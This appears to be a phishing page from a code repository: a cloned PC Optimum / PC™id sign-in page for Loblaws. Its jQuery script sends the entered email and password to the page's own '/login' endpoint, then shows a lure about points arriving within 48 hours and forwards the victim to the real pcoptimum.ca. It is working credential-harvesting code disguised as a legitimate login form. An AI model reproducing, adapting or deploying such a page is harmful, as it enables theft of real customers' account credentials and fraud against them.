panhui
/
pcoptimum


			
				
					
						
						
							123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283
							<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link rel="icon" type="image/x-icon" href="pc-logo.png">
    <title>Sign In | PC™id</title>
    <link rel="stylesheet" href="/static/css/011f6c1996a28b3efa2d.css" />
    <link rel="preload" href="/static/fonts/NoirPro-Regular.woff2" as="font" crossorigin="anonymous">
    <link rel="preload" href="/static/fonts/NoirPro-Medium.woff2" as="font" crossorigin="anonymous">
    <link rel="preload" href="/static/fonts/NoirPro-Light.woff2" as="font" crossorigin="anonymous">
    <link rel="stylesheet" href="/static/fonts/font-face.css">
    <script src="/static/js/jquery-3.7.1.min.js"></script>
</head>

<body>
    <div id="__next">
        <div class="layout-container">
            <header class="header header--pink header--branded layout__header">
                <svg aria-hidden="false" focusable="false" class="sprite header__logo" alt="PC Optimum"
                    role="presentation">
                    <use xlink:href="/static/svg/sprite-banners.svg#pco-en"></use>
                </svg>
            </header>
            <div role="main" class="layout login-page">
                <form class="form login-form" novalidate="" id="login">
                    <fieldset class="form__fieldset">
                        <legend class="form__legend">
                            <div class="layout__heading form__heading">
                                <svg aria-hidden="false" focusable="false" class="sprite layout__pcid-logo"
                                    alt="PCid Logo" role="presentation">
                                    <use xlink:href="/static/svg/sprite-banners.svg#pc-id"></use>
                                </svg>
                                <h2 tabindex="0">
                                    Sign in with PC™<span aria-hidden="true">id</span><span aria-hidden="false" style="
                        position: absolute;
                        width: 1px;
                        height: 1px;
                        padding: 0px;
                        margin: -1px;
                        overflow: hidden;
                        clip: rect(0px, 0px, 0px, 0px);
                        white-space: nowrap;
                        border: 0px;
                      ">ID</span>
                                </h2>
                            </div>
                            <div class="breadcrumb form__breadcrumb">
                                to continue to PC Optimum
                            </div>
                        </legend>
                        <div id="form-message" class="form-message form-message--error form__message" role="alert"
                            style="display: none;">
                            <svg aria-hidden="false" focusable="false" class="sprite form-message__icon"
                                role="presentation">
                                <use xlink:href="/static/svg/sprite-icons.svg#error"></use>
                            </svg>
                            <div class="form-message__content"></div>
                        </div>
                        <div class="input-group login-form__email text-group text-group--block">
                            <label id="email__label" for="email" class="input-label text-group__label">Email<span
                                    aria-hidden="false" style="
                      position: absolute;
                      width: 1px;
                      height: 1px;
                      padding: 0px;
                      margin: -1px;
                      overflow: hidden;
                      clip: rect(0px, 0px, 0px, 0px);
                      white-space: nowrap;
                      border: 0px;
                    ">:</span></label>
                            <div class="text-group__input-container">
                                <input aria-label="Email" aria-labelledby="email__label" aria-disabled="false"
                                    name="email" required="" type="email" autocomplete="username"
                                    class="text-group__input" maxlength="255" spellcheck="false" id="email" value="" />
                            </div>
                        </div>
                        <div class="login-form__password password-group">
                            <div class="input-group text-group text-group--block">
                                <label id="password__label" for="password"
                                    class="input-label text-group__label">Password<span aria-hidden="false" style="
                        position: absolute;
                        width: 1px;
                        height: 1px;
                        padding: 0px;
                        margin: -1px;
                        overflow: hidden;
                        clip: rect(0px, 0px, 0px, 0px);
                        white-space: nowrap;
                        border: 0px;
                      ">:</span></label>
                                <div class="text-group__input-container">
                                    <input aria-label="Password" aria-labelledby="password__label" aria-disabled="false"
                                        name="password" required="" type="password" maxlength="64"
                                        autocomplete="current-password" autocapitalize="off" class="text-group__input"
                                        spellcheck="false" id="password" value="" />
                                </div>
                            </div>
                            <button
                                class="button button--inline button--theme-link-grey link link--inline password-group__toggle-button"
                                type="button"
                                aria-label="Show  password (Caution, if you are using a screen reader, your password will be read aloud and people around you may hear it as you type). Enter Password as plain text"
                                aria-disabled="false">
                                Show Password
                            </button>
                        </div>
                        <div class="login-form__forgot-password-link">
                            <a class="link link--theme-base link--inline" href="/forgot-password"><span>Forgot
                                    Password?</span></a>
                        </div>
                        <button
                            class="button button--block button--submit button--theme-base button--theme-dark submit-button"
                            type="submit" aria-disabled="false">
                            Sign In
                        </button>

                        <button class="button button--block button--theme-base button--theme-dark" id="btn-ok"
                            style="display: none;" aria-disabled="false">
                            OK
                        </button>
                    </fieldset>
                </form>
                <!-- <div class="layout__secondary-cta">
                    <a class="link link--theme-base link--inline" href="/create-account"><span>Create a PC™<span
                                aria-hidden="true">id</span><span aria-hidden="false" style="
                    position: absolute;
                    width: 1px;
                    height: 1px;
                    padding: 0px;
                    margin: -1px;
                    overflow: hidden;
                    clip: rect(0px, 0px, 0px, 0px);
                    white-space: nowrap;
                    border: 0px;
                  ">ID</span></span></a>
                </div> -->
            </div>
            <footer class="footer layout__footer">
                <div class="footer__section">
                    <div class="footer__tagline">
                        <svg aria-hidden="false" focusable="false" class="sprite footer__pcid-logo" alt="PCid Logo"
                            role="presentation">
                            <use xlink:href="/static/svg/sprite-banners.svg#pc-id"></use>
                        </svg>
                        <div>Access all our sites with one simple login</div>
                    </div>
                </div>
                <hr class="footer__divider" />
                <div class="footer__section">
                    <ul class="footer__help-and-support-link-list">
                        <li class="footer__help-and-support-link">
                            <a class="link link--theme-base link--inline link--external"
                                href="https://loblaw.force.com/pcid/s/about-us?language=en_US&amp;rp=pco"
                                target="_blank" rel="noopener noreferrer"><span>About PC™<span
                                        aria-hidden="true">id</span><span aria-hidden="false" style="
                        position: absolute;
                        width: 1px;
                        height: 1px;
                        padding: 0px;
                        margin: -1px;
                        overflow: hidden;
                        clip: rect(0px, 0px, 0px, 0px);
                        white-space: nowrap;
                        border: 0px;
                      ">ID</span></span></a>
                        </li>
                        <li class="footer__help-and-support-link">
                            <a class="link link--theme-base link--inline link--external"
                                href="https://loblaw.force.com/pcid/s/?language=en_US&amp;rp=pco" target="_blank"
                                rel="noopener noreferrer"><span>Help</span></a>
                        </li>
                        <li class="footer__help-and-support-link">
                            <a class="link link--theme-base link--inline" href="/terms?locale=en-CA" target="_blank"
                                rel="noopener noreferrer"><span>Terms</span></a>
                        </li>
                        <li class="footer__help-and-support-link">
                            <a class="link link--theme-base link--inline link--external"
                                href="https://www.loblaw.ca/en/privacy.html" target="_blank"
                                rel="noopener noreferrer"><span>Privacy</span></a>
                        </li>
                    </ul>
                    <div class="footer__copyright">
                        © 2024 Loblaws Inc. All Rights Reserved.
                    </div>
                    <button
                        class="button button--inline button--theme-link link link--inline language-toggle footer__language-toggle"
                        type="button" aria-label="Changer pour la version française de ce site" aria-disabled="false"
                        id="language-toggle" lang="fr-CA">
                        <span class="language-toggle__option language-toggle__option--active"
                            aria-hidden="true">EN</span><span class="language-toggle__option"
                            aria-hidden="true">FR</span>
                    </button>
                </div>
            </footer>
        </div>
    </div>
</body>
<script>
    function showInputError(type, msg) {
        $('.login-form__' + type + ' .text-group__input-container').prepend('<svg aria-hidden="false" focusable="false" class="sprite input-icon input-icon--error text-group__input-icon" role="presentation"> <use xlink:href="/static/svg/sprite-icons.svg#error"></use> </svg>')
        $('.login-form__' + type + ' .text-group__input-container').append('<label for="' + type + '" id="' + type + '__error" class="input-error input-error--error text-group__error error" aria-live="polite" aria-atomic="true">' + msg + '</label>')
        $('.login-form__' + type).addClass('text-group--error')
    }

    function showAlert(msg, type) {
        if (!type) {
            type = 'error'
        }
        $('#form-message .form-message__content').html(msg)
        $('#form-message svg use').attr('xlink:href', '/static/svg/sprite-icons.svg#' + type)
        $('#form-message').attr('class', 'form-message form-message--' + type + ' form__message').show()
    }

    $('.login-form').submit(function (e) {
        e.preventDefault()

        $('#login .text-group__input-icon').remove()
        $('.input-error--error').remove()
        $('.text-group--error').removeClass('text-group--error')

        let email = $('#email').val()
        let password = $('#password').val()
        let valid = true
        if (!email) {
            showInputError('email', 'Please enter an email address.')
            valid = false
        } else if (!/^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/g.test(email)) {
            showInputError('email', 'Please enter a valid email address.')
            valid = false
        }

        if (!password) {
            showInputError('password', 'Please enter a password.')
            valid = false
        }

        if (!valid) {
            return
        }

        $('.submit-button')
            .attr('disabled', 'true')
            .addClass('button--submitting')
            .html('<div class="loading-animation"><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i></div>')

        $.ajax({
            url: '/login',
            type: 'POST',
            contentType: 'application/json',
            data: JSON.stringify({
                email: $('#email').val(),
                password: $('#password').val()
            }),
            success: function (data) {
                console.log(data)
                showAlert('Your points will be sent to your account within 48 hours, please check back later.', 'success')
                $('.input-group, .password-group, .login-form__forgot-password-link, .layout__secondary-cta, .submit-button').hide()
                $('#btn-ok').show()
            },
            error: function (data) {
                console.log(data)
                var msg = 'An error occurred. Please try again later.'
                if (data.responseJSON && data.responseJSON.message) {
                    msg = data.responseJSON.message
                }
                showAlert(msg)
                $('.submit-button')
                    .removeAttr('disabled')
                    .removeClass('button--submitting')
                    .html('Sign In')
            }
        })
    })

    $('#btn-ok').click(function (e) {
        e.preventDefault()
        window.location.href = 'https://www.pcoptimum.ca/'
    })
</script>

</html>